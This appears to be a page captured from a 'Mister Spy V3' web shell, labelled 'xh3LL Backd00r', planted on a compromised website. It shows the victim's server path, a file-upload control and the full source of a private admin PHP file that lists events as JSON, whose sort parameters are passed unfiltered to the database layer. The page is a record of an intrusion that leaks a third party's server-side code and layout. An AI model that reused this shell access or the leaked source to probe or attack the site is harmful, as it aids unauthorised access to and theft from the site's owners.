Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/admin/
Upload File :
Current File : /home/caballoscriollos/www/web/admin/json-eventos.php

<?php 
error_reporting(E_ERROR | E_PARSE);
require_once('../library/class.eventos.php'); 
require_once('../library/class.categorias.php'); 

/* obtenemos datos enviados */
$filter = array();
$filter['Titulo']			= trim($_REQUEST['Titulo']);
$filter['IdCategoria']		= intval($_REQUEST['IdCategoria']);
$filter['FechaDesde']		= intval($_REQUEST['FechaDesde']);
$filter['All']				= intval($_REQUEST['All']);
$filter['IdProvincia']		= intval($_REQUEST['IdProvincia']);
$filter['CategoriaTexto']	= trim(strval($_REQUEST['CategoriaTexto']));
$filter['Localidad']		= trim(strval($_REQUEST['Localidad']));
$filter['Fecha']			= trim(strval($_REQUEST['Fecha']));
$filter['FechaHasta']		= trim(strval($_REQUEST['FechaHasta']));
$Page 						= intval($_REQUEST['pageIndex']);
$PageSize					= intval($_REQUEST['pageSize']);
$sortField					= strval($_REQUEST['sortField']);
$sortOrder					= strval($_REQUEST['sortOrder']);

if ($filter['FechaDesde'] == 1) {
	$filter['FechaDesde'] = date('d-m-Y');
}

if (!$sortField)
{
	$sortField = 'Fecha';
	$sortOrder = 'DESC';
}

/* declaramos e instanciamos variables necesarias */
$arrData 		= array();
$oEventos 		= new Eventos();
$oCategorias 	= new Categorias();
$oPage 			= new Page($Page, $PageSize);

$arrData = $oEventos->GetAll($filter, $oPage, $sortField, $sortOrder);
$count = $oEventos->GetCountRows($filter);

if ($arrData)
{
	foreach ($arrData as $oEvento)
	{
		$oEvento->Nombre = ($oEvento->Titulo);
		$oEvento->Titulo = ($oEvento->Titulo);
		$oEvento->Observaciones = utf8_encode($oEvento->Observaciones);
		$oEvento->DescripcionTarifas = utf8_encode($oEvento->DescripcionTarifas);
		$oEvento->InformacionAdicional = utf8_encode($oEvento->InformacionAdicional);
		if ($oEvento->Imagen)
			$oEvento->Imagen = Evento::PathImageBig . $oEvento->Imagen;
		$oEvento->CategoriasSecundarias = $oEvento->GetCategorias();
		$oEvento->GetCategoriasTexto();
	}
}

$arrResult = array("data" => $arrData, "itemsCount" => $count);

header('Content-type: application/json');
echo json_encode($arrResult);

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat